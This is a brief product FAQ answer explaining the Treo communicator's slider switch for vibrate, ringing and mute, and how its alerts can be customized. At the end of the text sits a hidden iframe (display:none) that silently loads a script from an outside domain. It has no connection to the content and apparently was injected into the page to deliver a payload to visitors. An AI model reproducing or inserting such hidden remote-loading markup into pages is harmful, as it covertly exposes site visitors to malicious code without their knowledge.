Yes. And we make it very easy to switch between vibrate, ringing and mute—just slide the switch on the top of the Treo communicator to change the ring profile. You can customize the alerts corresponding to the two sides of the slider switch. Choose between various ring tones, volumes and mute, with or without vibrate.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>